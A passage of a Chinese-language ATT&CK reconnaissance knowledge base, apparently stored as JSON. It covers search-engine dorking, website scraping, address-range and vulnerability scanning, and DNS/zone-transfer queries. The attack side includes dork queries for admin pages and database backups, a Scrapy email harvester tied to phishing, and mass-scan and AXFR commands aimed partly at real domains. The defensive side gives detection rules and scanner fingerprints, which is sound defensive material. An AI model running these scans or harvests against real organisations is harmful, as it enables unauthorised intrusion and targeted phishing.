```\n- **查找上传漏洞**：\n  ```bash\n  site:target.com inurl:(file | load | editor | Files)\n  # 查找文件上传页面\n  ```\n- **查找网络设备**：\n  ```bash\n  intext:\"WEB Management Interface\" site:target.com\n  # 查找暴露的网络设备管理界面\n  ```\n- **查找数据库文件**：\n  ```bash\n  site:target.com filetype:(mdb | sql | bak)\n  # 查找暴露的数据库备份文件\n  ```\n\n### 3. **其他搜索引擎**\n- **百度**：使用类似Google Hacking的语法，适合国内目标。\n  ```bash\n  site:target.com 后台管理\n  # 查找包含“后台管理”的页面\n  ```\n- **Bing**：支持`inurl`、`site`等语法。\n  ```bash\n  site:target.com inurl:login\n  # 查找登录页面\n  ```\n- **Shodan Search** (<https://www.shodan.io>): 结合搜索引擎查询网络设备。\n  ```bash\n  org:TargetCorp port:80\n  # 查找目标组织的Web服务器\n  ```\n\n### 4. **案例场景**\n- 使用Google搜索`site:target.com filetype:pdf \"employee list\"`，发现员工名单PDF，提取邮箱用于钓鱼。\n- 使用`site:target.com inurl:admin`找到未受保护的后台登录页面，尝试默认凭据登录。\n- 参考案例：<https://cloud.tencent.com/developer/article/1752139>，通过Google Hacking发现目标网站的敏感配置文件。\n\n## 检测日志\n搜索引擎信息收集多通过公开渠道进行，难以直接监测。以下是可能的日志来源：\n- **Web服务器日志**：\n  - 记录异常的HTTP请求，如高频爬取、异常User-Agent或Referer。\n- **WAF日志**：\n  - 检测被WAF拦截的爬虫请求或异常搜索模式。\n- **DNS日志**：\n  - 检测针对子域名的异常查询，可能与搜索引擎发现的子域名相关。\n- **邮件服务器日志**：\n  - 监控钓鱼邮件或社会工程攻击，可能与搜索到的邮箱信息相关。\n\n## 测试复现\n以下是模拟搜索引擎信息收集的步骤：\n1. **环境准备**：\n   - 在授权测试环境中搭建目标网站，包含公开页面、PDF文档或子域名。\n2. **搜索执行**：\n   - 使用Google搜索：\n     ```bash\n     site:target.com inurl:admin\n     site:target.com filetype:pdf \"contact\"\n     ```\n   - 使用百度搜索：\n     ```bash\n     site:target.com 管理后台\n     ```\n   - 使用Shodan查询：\n     ```bash\n     org:TargetCorp port:443\n     ```\n3. **爬虫模拟**：\n   - 使用Scrapy爬取目标网站：\n     ```python\n     import scrapy\n     class TargetSpider(scrapy.Spider):\n         name = \"target_spider\"\n         start_urls = [\"http://www.target.com\"]\n         def parse(self, response):\n             emails = response.xpath(\"//a[contains(@href, 'mailto:')]/text()\").getall()\n             yield {\"emails\": emails}\n     ```\n   - 运行：`scrapy crawl target_spider -o emails.json`\n4. **结果分析**：\n   - 整理收集到的邮箱、子域名或敏感文件，分析潜在攻击入口。\n5. **日志收集**：\n   - 收集Web服务器、WAF和DNS日志，验证爬虫或搜索痕迹。\n\n## 测试留痕\n搜索引擎信息收集可能留下以下痕迹：\n- **Web服务器日志**：高频HTTP请求、异常User-Agent（如`Googlebot`、`python-requests`）或爬虫模式（如访问robots.txt）。\n- **WAF/IDS告警**：触发爬虫检测规则或高频请求限制。\n- **DNS日志**：子域名枚举导致的异常DNS查询。\n- **邮件服务器日志**：钓鱼邮件或社会工程交互记录。\n\n## 检测规则/思路\n由于搜索引擎信息收集多发生在目标组织监测范围之外，检测需结合多种手段：\n- **Web流量监控**：\n  - 使用WAF（如Cloudflare、ModSecurity）检测异常爬虫行为，匹配常见User-Agent（如`Googlebot`、`Scrapy`）。\n  - 示例WAF规则：\n    ```nginx\n    if ($http_user_agent ~* \"(Scrapy|python-requests|bot)\") {\n        return 403;\n    }\n    ```\n  - 监控高频HTTP请求或异常路径访问（如`/admin`、`.pdf`）。\n- **DNS查询监控**：\n  - 记录针对子域名的异常DNS查询，检测可能的子域名发现行为。\n  - 使用DNS防火墙（如Cloudflare Gateway）阻止已知的恶意查询来源。\n- **信息泄露防护**：\n  - 使用DLP（数据丢失防护）工具，检测员工通过邮件或社交媒体泄露敏感信息。\n  - 监控公开信息源（如Pastebin、暗网论坛）中是否出现组织的敏感数据。\n- **威胁情报整合**：\n  - 结合威胁情报平台（如微步在线、奇安信），识别已知的爬虫IP或钓鱼模式。\n  - 使用Google Alerts监控与组织相关的公开信息泄露。\n\n## 建议\n- **减少信息暴露**：\n  - 限制网站上公开的敏感信息（如员工邮箱、PDF文档）。\n  - 使用robots.txt限制搜索引擎爬取敏感页面（如`/admin`）。\n  - 定期检查搜索引擎缓存（如Google Cache）或存档网站（如Wayback Machine），请求删除泄露信息。\n- **网站安全加固**：\n  - 配置WAF保护网站，拦截异常爬虫或高频请求。\n  - 实施MFA（多因素认证）保护后台登录页面。\n  - 定期审计子域名，移除不必要的或未受保护的子域名。\n- **主动监控与响应**：\n  - 使用Google Alerts或类似工具监控与组织相关的公开信息。\n  - 部署Web日志分析工具（如Splunk、ELK），监控异常爬取行为。\n  - 使用威胁狩猎（Threat Hunting）技术，主动搜索可能的搜索引擎侦察活动。\n- **后续阶段检测**：\n  - 重点监控攻击者生命周期的后续阶段（如初始访问T1566、有效账户T1078），通过异常流量或钓鱼行为间接发现侦察活动。\n\n## 参考资料\n- MITRE ATT&CK: T1593-002  \n  <https://attack.mitre.org/techniques/T1593/002/>\n- Github Hacking | Google Hacking - 信息搜集篇  \n  <https://cloud.tencent.com/developer/article/1752139>\n- Google Hacking 总结  \n  <https://www.jianshu.com/p/f8062e2cc1d7>\n- 信息收集之 Google Hacking 的简单用法  \n  <https://blog.csdn.net/qq_36119192/article/details/84029809>"
  },
  {
    "path": "Windows/01侦察/T1594-搜索目标组织所拥有的网站.md",
    "content": "# T1594-搜索受害者所拥有的网站\n\n## 描述\n攻击者在实施攻击前，可能通过搜索目标组织拥有的网站收集可用于目标定位的信息。这些网站可能包含各种关键信息，例如部门或分部的名称、物理位置、员工数据（姓名、角色、联系方式如电子邮件或电话）、业务运营细节以及与合作伙伴或客户的关系信息。攻击者可利用这些信息构建目标的组织架构图、识别关键人员或发现潜在的攻击入口。\n\n攻击者可能通过以下方式收集网站信息：\n- **公开信息搜刮**：使用搜索引擎（如Google、Bing）或爬虫工具（如Scrapy、BeautifulSoup）提取网站上的公开信息。\n- **社会工程**：通过钓鱼或伪装身份诱导员工泄露网站管理凭据或敏感信息。\n- **子域名枚举**：结合DNS查询或子域名爆破工具（如dnsenum、Sublist3r）发现目标的关联网站。\n- **档案和泄露数据**：分析存档网站（如Wayback Machine）或公开泄露数据（如Pastebin）中的历史信息。\n\n收集到的信息可能为后续攻击活动做准备，例如钓鱼（T1566）、搜索开放技术数据库（T1596）、建立运营资源（T1583/T1584）或通过信任关系（T1199）或钓鱼实现初始访问。\n\n## 测试案例\n以下是模拟攻击者搜索目标组织网站信息的常见方法和工具：\n- **搜索引擎利用**：\n  - 使用Google高级搜索语法（如`site:*.target.com \"contact us\"`）查找目标网站的联系信息、员工名单或部门详情。\n  - 示例：`site:*.gov.cn filetype:pdf \"staff directory\"` 搜索政府网站上的员工目录PDF。\n- **爬虫工具**：\n  - **Scrapy** (<https://scrapy.org>): 编写Python爬虫脚本，提取目标网站上的员工邮箱或组织结构。\n    ```python\n    import scrapy\n    class TargetSpider(scrapy.Spider):\n        name = \"target_spider\"\n        start_urls = [\"http://www.target.com\"]\n        def parse(self, response):\n            emails = response.xpath(\"//a[contains(@href, 'mailto:')]/text()\").getall()\n            for email in emails:\n                yield {\"email\": email}\n    ```\n  - **BeautifulSoup** (<https://www.crummy.com/software/BeautifulSoup>): 解析目标网站的HTML，提取联系人或部门信息。\n- **子域名枚举**：\n  - **Sublist3r** (<https://github.com/aboul3la/Sublist3r>): 枚举目标域名的子域名，识别隐藏的网站或服务。\n    ```bash\n    sublist3r -d target.com -o subdomains.txt\n    ```\n  - **dnsenum**: 结合DNS查询和子域名爆破，发现目标的关联网站。\n    ```bash\n    dnsenum -f dns.txt -dnsserver 8.8.8.8 target.com -o target.xml\n    ```\n- **存档网站分析**：\n  - **Wayback Machine** (<https://archive.org/web>): 查看目标网站的历史快照，提取已删除的员工信息或组织架构。\n- **社会工程**：\n  - 伪装成客户或合作伙伴发送钓鱼邮件，诱导员工泄露网站管理凭据或内部信息。\n  - 在社交媒体（如LinkedIn、微博）收集员工公开的联系方式或部门信息。\n- **案例场景**：\n  - 使用Google搜索`site:target.com \"contact us\"`，发现目标网站的管理员邮箱，发起针对性钓鱼攻击。\n  - 通过Wayback Machine恢复目标网站的历史页面，获取已删除的员工名单和联系方式。\n  - 使用Sublist3r枚举子域名，发现未受保护的内部门户（如intranet.target.com），作为攻击入口。\n\n## 检测日志\n搜索受害者网站信息的活动多通过公开渠道进行，难以直接监测。以下是可能的日志来源：\n- **Web服务器日志**：\n  - 记录异常的HTTP请求，如高频爬取、特定User-Agent或异常Referer。\n- **WAF日志**：\n  - 检测被WAF拦截的爬虫请求或异常访问模式。\n- **邮件服务器日志**：\n  - 监控钓鱼邮件或社会工程攻击，可能与网站信息收集相关。\n- **DNS日志**：\n  - 检测针对子域名的异常查询，可能与子域名枚举相关。\n\n## 测试复现\n以下是模拟搜索受害者网站信息的步骤：\n1. **环境准备**：\n   - 在授权测试环境中搭建目标网站，包含公开的联系页面、员工信息或PDF文档。\n2. **信息收集**：\n   - 使用Google搜索`site:target.com \"contact us\"`提取邮箱和部门信息。\n   - 运行Sublist3r枚举子域名：\n     ```bash\n     sublist3r -d target.com -o subdomains.txt\n     ```\n   - 使用Scrapy爬取目标网站的联系页面：\n     ```bash\n     scrapy crawl target_spider -o emails.json\n     ```\n   - 查询Wayback Machine，提取目标网站的历史快照。\n3. **社会工程模拟**：\n   - 在红队测试中，伪装成客户发送钓鱼邮件，诱导泄露网站管理信息。\n4. **结果分析**：\n   - 整理收集到的邮箱、子域名和组织信息，分析潜在攻击入口。\n5. **日志收集**：\n   - 收集Web服务器、WAF和DNS日志，验证爬虫或子域名枚举的痕迹。\n\n## 测试留痕\n搜索网站信息的活动可能留下以下痕迹：\n- **Web服务器日志**：高频HTTP请求、异常User-Agent（如`Scrapy/2.7`）或爬虫模式（如访问robots.txt）。\n- **WAF/IDS告警**：触发爬虫检测规则或高频请求限制。\n- **DNS日志**：子域名枚举导致的异常DNS查询。\n- **邮件服务器日志**：钓鱼邮件或社会工程交互记录。\n\n## 检测规则/思路\n由于网站信息收集多发生在目标组织监测范围之外，检测需结合多种手段：\n- **Web流量监控**：\n  - 使用WAF（如Cloudflare、ModSecurity）检测异常爬虫行为，匹配常见爬虫User-Agent（如`Scrapy`、`python-requests`）。\n  - 示例WAF规则：\n    ```nginx\n    if ($http_user_agent ~* \"(Scrapy|python-requests|bot)\") {\n        return 403;\n    }\n    ```\n  - 监控高频HTTP请求或异常路径访问（如访问不存在的页面）。\n- **DNS查询监控**：\n  - 记录针对子域名的异常DNS查询，检测可能的子域名爆破。\n  - 使用DNS防火墙（如Cloudflare Gateway）阻止已知的恶意查询来源。\n- **信息泄露防护**：\n  - 使用DLP（数据丢失防护）工具，检测员工通过邮件或社交媒体泄露网站相关信息。\n  - 监控公开信息源（如Pastebin、暗网论坛）中是否出现组织的员工数据或网站信息。\n- **威胁情报整合**：\n  - 结合威胁情报平台（如微步在线、奇安信），识别已知的爬虫IP或社会工程模式。\n  - 定期检查Wayback Machine，评估历史页面泄露的敏感信息。\n- **日志关联**：\n  - 使用SIEM（如Splunk、ELK）关联Web、DNS和邮件日志，检测异常爬取或子域名枚举模式。\n\n## 建议\n- **减少信息暴露**：\n  - 限制网站上公开的敏感信息，如员工姓名、邮箱或部门详情。\n  - 使用robots.txt限制爬虫访问敏感页面（如联系页面）。\n  - 定期审查存档网站（如Wayback Machine），请求删除泄露的敏感信息。\n- **网站安全加固**：\n  - 配置WAF保护网站，拦截异常爬虫或高频请求。\n  - 实施MFA（多因素认证）保护网站管理后台。\n  - 定期审计子域名，移除不必要的或未受保护的子域名。\n- **主动监控与响应**：\n  - 使用Google Alerts监控与组织相关的公开信息泄露。\n  - 部署Web日志分析工具（如Splunk、ELK），监控异常爬取行为。\n  - 使用威胁狩猎（Threat Hunting）技术，主动搜索可能的网站信息收集活动。\n- **后续阶段检测**：\n  - 重点监控攻击者生命周期的后续阶段（如初始访问T1566、信任关系T1199），通过异常流量或钓鱼行为间接发现侦察活动。\n\n## 参考资料\n- MITRE ATT&CK: T1594  \n  <https://attack.mitre.org/techniques/T1594/>\n- 全流程信息收集方法总结  \n  <https://www.freebuf.com/articles/database/195169.html>\n- 渗透测试之信息收集（二）  \n  <https://zhuanlan.zhihu.com/p/86250911>"
  },
  {
    "path": "Windows/01侦察/T1595.001-主动扫描-扫描地址段.md",
    "content": "# T1595.001-主动扫描_扫描地址段\n\n## 描述\n攻击者在实施攻击前，可能通过扫描IP地址块收集目标组织的网络信息。公有IP地址通常以地址块或连续地址段分配给组织，攻击者可通过扫描这些地址段识别活跃主机、开放端口、服务版本或其他网络工件（如服务器Banner）。扫描范围从简单的ICMP Ping到复杂的端口扫描或服务指纹识别不等。\n\n这些信息可帮助攻击者了解目标的网络架构、活跃设备及潜在入口点。扫描结果可能触发后续攻击活动，例如搜索开放网站/域（T1593）、搜索公开技术数据库（T1596）、建立运营资源（T1583/T1584）或通过外部远程服务（T1133）实现初始访问。\n\n## 测试案例\n以下是模拟攻击者扫描地址段的常见工具和方法：\n- **常见扫描器**：\n  - **Nmap** (<https://nmap.org>): 功能强大的网络扫描工具，支持Ping扫描、端口扫描和服务指纹识别。\n    ```bash\n    sudo nmap -sP -PI -PT 192.168.1.0/24  # Ping扫描网段，检测活跃主机\n    sudo nmap -sS -p- 192.168.1.0/24  # TCP SYN扫描网段，检测开放端口\n    sudo nmap -sV 192.168.1.0/24  # 扫描服务版本和Banner\n    ```\n  - **Masscan** (<https://github.com/robertdavidgraham/masscan>): 高效的大规模IP扫描工具，适合快速扫描大型地址段。\n    ```bash\n    masscan 192.168.1.0/24 -p1-65535 --rate=1000  # 扫描所有端口，设置扫描速率\n    ```\n  - **Zmap** (<https://zmap.io>): 高性能网络扫描工具，专注于快速主机发现。\n    ```bash\n    zmap -p 80 192.168.1.0/24 -o results.txt  # 扫描网段的80端口\n    ```\n  - **Angry IP Scanner** (<https://angryip.org>): 轻量级GUI工具，适合扫描IP范围和端口。\n- **案例场景**：\n  - 使用Nmap扫描目标组织的IP段（如`10.0.0.0/24`），发现活跃主机和开放的RDP端口（3389）。\n  - 使用Masscan快速扫描大型IP块，识别暴露的Web服务器（80/443端口）并提取Banner信息。\n  - 参考案例：<https://www.freebuf.com/column/156291.html>，通过扫描器指纹识别攻击者的扫描行为。\n\n## 检测日志\n扫描地址段的活动可能在以下日志中留下痕迹：\n- **网络流量日志**：\n  - 记录高频ICMP请求（Ping）、TCP SYN包或UDP探测。\n- **防火墙/IDS日志**：\n  - 检测来自单一IP的高频端口扫描或异常连接尝试。\n- **Web服务器日志**：\n  - 记录针对Web服务的异常HTTP请求，可能与Banner抓取相关。\n- **DNS日志**：\n  - 检测与扫描相关的反向DNS查询（PTR记录）。\n- **蜜罐日志**：\n  - 记录访问蜜罐的扫描流量，表明攻击者可能在扫描地址段。\n\n## 测试复现\n以下是模拟扫描地址段的步骤：\n1. **环境准备**：\n   - 在授权测试环境中配置目标网络（如192.168.1.0/24），包含多个主机和开放端口。\n2. **扫描执行**：\n   - 使用Nmap进行Ping扫描：\n     ```bash\n     sudo nmap -sP -PI -PT 192.168.1.0/24\n     ```\n   - 使用Masscan扫描所有端口：\n     ```bash\n     masscan 192.168.1.0/24 -p1-65535 --rate=1000\n     ```\n   - 使用Zmap扫描特定端口：\n     ```bash\n     zmap -p 80 192.168.1.0/24 -o results.txt\n     ```\n3. **结果分析**：\n   - 记录活跃主机、开放端口和服务版本，分析潜在入口点。\n4. **日志收集**：\n   - 收集防火墙、IDS和Web服务器日志，验证扫描留痕。\n\n## 测试留痕\n扫描地址段通常在目标系统留下以下痕迹：\n- **ICMP流量**：高频Ping请求（ICMP Echo Request/Reply）。\n- **TCP/UDP流量**：大量SYN包、RST包或UDP探测包，表明端口扫描。\n- **Web服务器日志**：异常HTTP请求（如404/403响应）或Banner抓取请求。\n- **防火墙/IDS告警**：触发扫描检测规则，如高频连接尝试。\n- **蜜罐记录**：访问蜜罐的流量，表明攻击者扫描了未分配的IP地址。\n\n## 检测规则/思路\n由于扫描地址段活动可能发生在目标组织监测范围之外，检测需结合多种手段：\n- **网络流量监控**：\n  - 使用IDS/IPS（如Snort、Suricata）检测高频ICMP、TCP SYN或UDP流量。\n  - 配置规则匹配扫描器指纹，如Nmap的User-Agent（`Nmap Scripting Engine`）。\n  - 示例Snort规则：\n    ```snort\n    alert icmp any any -> $HOME_NET any (msg:\"Ping Scan Detected\"; icmp_type 8; threshold: type threshold, track by_src, count 50, seconds 60; sid:1000001;)\n    alert tcp any any -> $HOME_NET any (msg:\"TCP SYN Scan Detected\"; flags:S; threshold: type threshold, track by_src, count 100, seconds 60; sid:1000002;)\n    ```\n- **蜜罐部署**：\n  - 部署低交互蜜罐（如Cowrie、Dionaea）在未分配的IP地址上，记录扫描行为。\n  - 分析蜜罐日志，检测同一源IP对多个IP的访问，表明地址段扫描。\n- **日志关联**：\n  - 使用SIEM（如Splunk、ELK）关联防火墙、IDS和Web日志，检测高频扫描模式。\n  - 监控反向DNS查询（PTR），可能与扫描器验证主机名相关。\n- **威胁情报整合**：\n  - 结合威胁情报平台（如微步在线、奇安信），识别已知的扫描器IP或User-Agent。\n  - 监控已知恶意IP的流量，关联潜在的扫描活动。\n\n## 建议\n- **减少暴露面**：\n  - 关闭不必要的开放端口和服务（如RDP、SSH）。\n  - 使用CDN或WAF隐藏服务器真实IP，减少扫描暴露。\n  - 配置防火墙限制对敏感端口的外部访问。\n- **网络安全加固**：\n  - 实施IP白名单，仅允许授权IP访问关键服务。\n  - 使用强身份验证（如MFA）保护暴露的服务。\n  - 定期更新服务器软件，修复已知漏洞。\n- **主动监控与响应**：\n  - 部署IDS/IPS监控异常扫描流量，设置告警规则。\n  - 使用Shodan或Censys定期自查组织的暴露资产，修复配置问题。\n  - 部署蜜罐捕获扫描行为，分析攻击者的IP和模式。\n  - 使用威胁狩猎（Threat Hunting）技术，主动搜索可能的扫描活动。\n- **后续阶段检测**：\n  - 重点监控攻击者生命周期的后续阶段（如初始访问T1133、漏洞利用T1190），通过异常流量或登录行为间接发现扫描活动。\n\n## 参考资料\n- MITRE ATT&CK: T1595-001  \n  <https://attack.mitre.org/techniques/T1595/001/>\n- 常见扫描器或自动化工具的特征（指纹）  \n  <https://www.freebuf.com/column/156291.html>\n- 渗透测试之信息收集DNS篇  \n  <https://blog.csdn.net/qq1124794084/article/details/78672225>"
  },
  {
    "path": "Windows/01侦察/T1595.002-主动扫描-漏洞扫描.md",
    "content": "# T1595-002-主动扫描_漏洞扫描\n\n## 描述\n攻击者在实施攻击前，可能通过漏洞扫描识别目标的潜在弱点。漏洞扫描通常针对目标主机或应用程序，检查其配置、软件版本或已知漏洞（如CVE）。这些扫描可能涉及收集服务器Banner、开放端口、操作系统指纹或其他网络工件，以识别可利用的漏洞。攻击者可能使用自动化工具（如Nuclei、AWVS、Xray）或手动技术进行扫描。\n\n收集到的信息可能为后续攻击活动做准备，例如搜索开放网站/域（T1593）、搜索公开技术数据库（T1596）、建立运营资源（T1583/T1584）或通过面向公众应用的漏洞利用（T1190）实现初始访问。\n\n## 测试案例\n以下是模拟攻击者进行漏洞扫描的常见工具和方法：\n- **常见漏洞扫描器**：\n  - **Nuclei** (<https://github.com/projectdiscovery/nuclei>): 基于模板的自动化漏洞扫描工具，支持检测Web漏洞、配置错误等。\n  - **Acunetix Web Vulnerability Scanner (AWVS)** (<https://www.acunetix.com>): 专注于Web应用的漏洞扫描，如SQL注入、XSS。\n  - **Xray** (<https://github.com/chaitin/xray>): 轻量级Web漏洞扫描工具，适合快速扫描和POC验证。\n  - **Nessus** (<https://www.tenable.com/products/nessus>): 全面的漏洞扫描工具，覆盖网络设备和应用。\n  - **WebInspect** (<https://www.microfocus.com/en-us/products/webinspect>): 企业级Web漏洞扫描工具。\n  - **RSAS (绿盟极光)** (<https://www.nsfocus.com>): 国内漏洞扫描工具，专注于网络和Web安全。\n  - **Sqlmap** (<https://sqlmap.org>): 专注于SQL注入漏洞的自动化扫描工具。\n  - **Nmap** (<https://nmap.org>): 支持漏洞扫描脚本（如`nmap --script vuln`）检测常见漏洞。\n- **案例场景**：\n  - 使用Nuclei扫描目标Web服务器，检测是否存在已知的Apache Struts漏洞（如CVE-2017-5638）。\n  - 使用AWVS扫描目标网站，发现未修复的XSS漏洞并提取服务器Banner。\n  - 使用Sqlmap探测目标的数据库接口，确认SQL注入漏洞并尝试数据泄露。\n  - 参考案例：<https://www.freebuf.com/column/156291.html>，通过扫描器指纹识别攻击者的扫描行为。\n\n## 检测日志\n漏洞扫描活动通常在以下日志中留下痕迹：\n- **HTTP流量日志**：\n  - 记录异常的HTTP请求，如高频GET/POST请求、异常URL或特定扫描器指纹。\n- **Web服务器日志**：\n  - 检测包含扫描器特征的请求（如AWVS的`acunetix_wvs_security_test`）。\n- **防火墙/IDS日志**：\n  - 记录高频端口扫描、异常TCP/UDP流量或已知扫描器IP。\n- **WAF日志**：\n  - 检测被WAF拦截的恶意请求，如SQL注入或XSS测试payload。\n- **网络流量日志**：\n  - 监控异常的流量模式，如来自单一IP的密集扫描或Banner抓取。\n\n## 测试复现\n以下是模拟漏洞扫描的步骤：\n1. **环境准备**：\n   - 在授权测试环境中搭建目标Web服务器（如Apache、Nginx）或应用。\n2. **扫描执行**：\n   - 使用Nuclei运行命令：`nuclei -u http://target.com -t cves/`，扫描已知CVE漏洞。\n   - 使用AWVS配置扫描任务，针对目标网站执行全面漏洞扫描。\n   - 使用Sqlmap运行命令：`sqlmap -u http://target.com/login --batch`，测试SQL注入。\n   - 使用Nmap运行命令：`nmap --script vuln target.com`，检测常见漏洞。\n3. **结果分析**：\n   - 记录扫描结果，分析目标的开放端口、软件版本和潜在漏洞。\n4. **日志收集**：\n   - 在目标服务器上收集HTTP日志、WAF日志和防火墙日志，验证扫描留痕。\n\n## 测试留痕\n漏洞扫描通常在目标系统留下以下痕迹：\n- **HTTP请求**：异常URL（如`acunetix_wvs_security_test`）、特定User-Agent或Header。\n- **网络流量**：高频端口扫描、异常TCP/UDP包或Banner抓取请求。\n- **WAF/IDS告警**：触发规则的恶意payload或扫描行为。\n- **服务器日志**：记录来自单一IP的密集请求或错误响应（如404、403）。\n\n## 检测规则/思路\n以下是检测漏洞扫描的规则和特征：\n\n### 常见扫描器指纹\n- **Acunetix Web Vulnerability Scanner (AWVS)**:\n  ```yaml\n  URL:\n    - acunetix-wvs-test-for-some-inexistent-file\n    - by_wvs\n    - acunetix_wvs_security_test\n    - acunetix\n    - acunetix_wvs\n    - acunetix_test\n  Headers:\n    - Acunetix-Aspect-Password: <任意值>\n    - Cookie: acunetixCookie\n    - Location: acunetix_wvs_security_test\n    - X-Forwarded-Host: acunetix_wvs_security_test\n    - X-Forwarded-For: acunetix_wvs_security_test\n    - Host: acunetix_wvs_security_test\n    - Cookie: acunetix_wvs_security_test\n    - Accept: acunetix/wvs\n    - Origin: acunetix_wvs_security_test\n    - Referer: acunetix_wvs_security_test\n    - Via: acunetix_wvs_security_test\n    - Accept-Language: acunetix_wvs_security_test\n    - Client-IP: acunetix_wvs_security_test\n    - HTTP_AUTH_PASSWD: acunetix\n    - User-Agent: acunetix_wvs_security_test\n    - Acunetix-Aspect: <任意值>\n    - Acunetix-Aspect-Queries: <任意值>\n  Body:\n    - acunetix_wvs_security_test\n    - acunetix\n  ```\n- **Netsparker**:\n  ```yaml\n  URL:\n    - netsparker\n    - Netsparker\n    - ns: netsparker\n  Headers:\n    - X-Scanner: Netsparker\n    - Location: Netsparker\n    - Accept: netsparker/check\n    - Cookie: netsparker\n    - Cookie: NETSPARKER\n  Body:\n    - netsparker\n  ```\n- **AppScan**:\n  ```yaml\n  URL:\n    - Appscan\n  Headers:\n    - Content-Type: Appscan\n    - Content-Type: AppScanHeader\n    - Accept: Appscan\n    - User-Agent: Appscan\n  Body:\n    - Appscan\n  ```\n- **WebInspect**:\n  ```yaml\n  URL:\n    - HP404\n  Headers:\n    - User-Agent: HP ASC\n    - Cookie: webinspect\n    - X-WIPP: <任意值>\n    - X-Request-Memo: <任意值>\n    - X-Scan-Memo: <任意值>\n    - Cookie: CustomCookie\n    - X-RequestManager-Memo: <任意值>\n  Body:\n    - Webinspect\n  ```\n- **RSAS (绿盟极光)**:\n  ```yaml\n  URL:\n    - nsfocus\n  Headers:\n    - User-Agent: Rsas\n  ```\n- **Nessus**:\n  ```yaml\n  URL:\n    - nessus\n    - Nessus\n  Headers:\n    - X-Forwarded-For: nessus\n    - Referer: nessus\n    - Host: nessus\n  Body:\n    - nessus\n    - Nessus\n  ```\n- **WebReaver**:\n  ```yaml\n  Headers:\n    - User-Agent: WebReaver\n  ```\n- **Sqlmap**:\n  ```yaml\n  URL:\n    - sqlmap\n  Headers:\n    - User-Agent: sqlmap/<version>\n  Body:\n    - sqlmap\n  ```\n- **Nmap**:\n  ```yaml\n  Headers:\n    - User-Agent: Nmap Scripting Engine; https://nmap.org/book/nse.html\n  ```\n\n### 检测思路\n- **HTTP流量分析**：\n  - 使用WAF或IDS（如Snort、Suricata）检测扫描器特征（如`acunetix_wvs_security_test`、`sqlmap`）。\n  - 监控异常的HTTP请求模式，如高频404/403响应或特定User-Agent。\n- **网络流量监控**：\n  - 检测来自单一IP的高频端口扫描或异常TCP/UDP流量。\n  - 使用NetFlow或Zeek分析流量，识别扫描器的指纹或行为模式。\n- **威胁情报整合**：\n  - 结合威胁情报平台（如微步在线、奇安信），识别已知的扫描器IP或User-Agent。\n  - 监控已知恶意IP的流量，关联潜在的扫描活动。\n- **日志关联**：\n  - 使用SIEM（如Splunk、ELK）关联Web、防火墙和WAF日志，检测异常请求或扫描模式。\n  - 监控高频错误响应（如404、403），可能表明扫描器在探测不存在的资源。\n\n## 建议\n- **减少暴露面**：\n  - 关闭不必要的开放端口和服务（如RDP、SSH）。\n  - 使用CDN或WAF隐藏服务器真实IP，减少扫描暴露。\n  - 定期更新服务器软件和Web应用，修复已知漏洞。\n- **网络安全加固**：\n  - 配置WAF规则，拦截常见扫描器指纹（如`acunetix`、`sqlmap`）。\n  - 实施IP白名单，限制对敏感端口或管理界面的访问。\n  - 使用强身份验证（如MFA）保护公开服务。\n- **主动监控与响应**：\n  - 部署IDS/IPS监控异常扫描流量，设置告警规则。\n  - 使用Shodan或Censys定期自查组织的暴露资产，修复配置问题。\n  - 使用威胁狩猎（Threat Hunting）技术，主动搜索可能的扫描行为。\n- **后续阶段检测**：\n  - 重点监控攻击者生命周期的后续阶段（如初始访问T1190、钓鱼T1566），通过异常流量或漏洞利用行为间接发现扫描活动。\n\n## 参考资料\n- MITRE ATT&CK: T1595-002  \n  <https://attack.mitre.org/techniques/T1595/002/>\n- 常见扫描器或自动化工具的特征（指纹）  \n  <https://www.freebuf.com/column/156291.html>\n- 渗透测试之信息收集DNS篇  \n  <https://blog.csdn.net/qq1124794084/article/details/78672225>"
  },
  {
    "path": "Windows/01侦察/T1596.001-搜索开放的技术数据库-DNS_被动DNS.md",
    "content": "# T1596-001-搜索开放的技术数据库-DNS/被动DNS\n\n## 描述\n攻击者在入侵目标组织之前，可能通过搜索公开的DNS或被动DNS数据库收集目标的网络信息。DNS数据包含域名解析信息，如A记录（IP地址）、MX记录（邮件服务器）、NS记录（名称服务器）、TXT记录等。被动DNS数据库记录历史DNS解析数据，可揭示目标的子域名、托管服务提供商和网络架构。这些信息可帮助攻击者识别目标的网络资产、关键服务或潜在漏洞。\n\n攻击者可能通过以下方式收集DNS信息：\n- **被动DNS查询**：利用公开数据库（如SecurityTrails、DNS Dumpster）查询目标的DNS历史记录。\n- **主动DNS查询**：使用工具（如dig、nslookup）直接查询目标域名的DNS记录。\n- **DNS区域传输**：尝试通过DNS服务器的区域传输（AXFR）获取完整的DNS记录。\n- **DNS字典爆破**：使用子域名字典爆破工具（如dnsenum、dnsmap）枚举目标的子域名。\n- **社会工程**：通过钓鱼或伪装身份诱导员工泄露DNS管理信息。\n\n收集到的DNS信息可能为后续攻击活动做准备，例如主动扫描（T1595）、搜索开放网站/域（T1593）、建立运营资源（T1583/T1584）或通过外部远程服务（T1133）或钓鱼（T1566）实现初始访问。\n\n## 测试案例\n以下是模拟攻击者收集DNS/被动DNS信息的常见方法和工具：\n\n### 1. **主动DNS查询**\n- **nslookup**：查询目标域名的A、MX、NS记录或反向解析（PTR）。\n  ```bash\n  nslookup\n  > set type=A      # 查询A记录（IP地址）\n  > sina.com\n  > set type=MX     # 查询MX记录（邮件服务器）\n  > sina.com\n  > set type=NS     # 查询NS记录（名称服务器）\n  > sina.com\n  > set type=PTR    # 反向查询IP对应的域名\n  > 66.102.251.24\n  > server 8.8.8.8  # 指定DNS服务器为Google Public DNS\n  > www.sina.com\n  > set type=ANY    # 查询所有类型记录\n  > www.sina.com\n  ```\n- **dig**：查询目标域名的DNS记录，支持筛选和追踪。\n  ```bash\n  dig sina.com ANY @8.8.8.8  # 查询所有记录，使用Google DNS\n  dig +noall +answer mail.163.com ANY  # 仅显示查询结果\n  dig -x 66.102.251.24  # 反向查询PTR记录\n  dig +trace www.sina.com  # 追踪DNS解析路径\n  dig +noall +answer txt chaos VERSION.BIND @mail.163.com  # 查询DNS服务器BIND版本\n  ```\n\n### 2. **DNS区域传输**\n- 尝试通过区域传输（AXFR）获取目标域名的完整DNS记录。\n  ```bash\n  dig @ns1.sina.com sina.com AXFR  # 尝试对sina.com发起区域传输\n  host -T -l sina.com ns1.sina.com  # 使用host命令进行区域传输\n  ```\n\n### 3. **DNS字典爆破**\n- 使用子域名字典爆破工具枚举目标的子域名。\n  - **dnsenum**：\n    ```bash\n    sudo apt install dnsenum\n    dnsenum -f 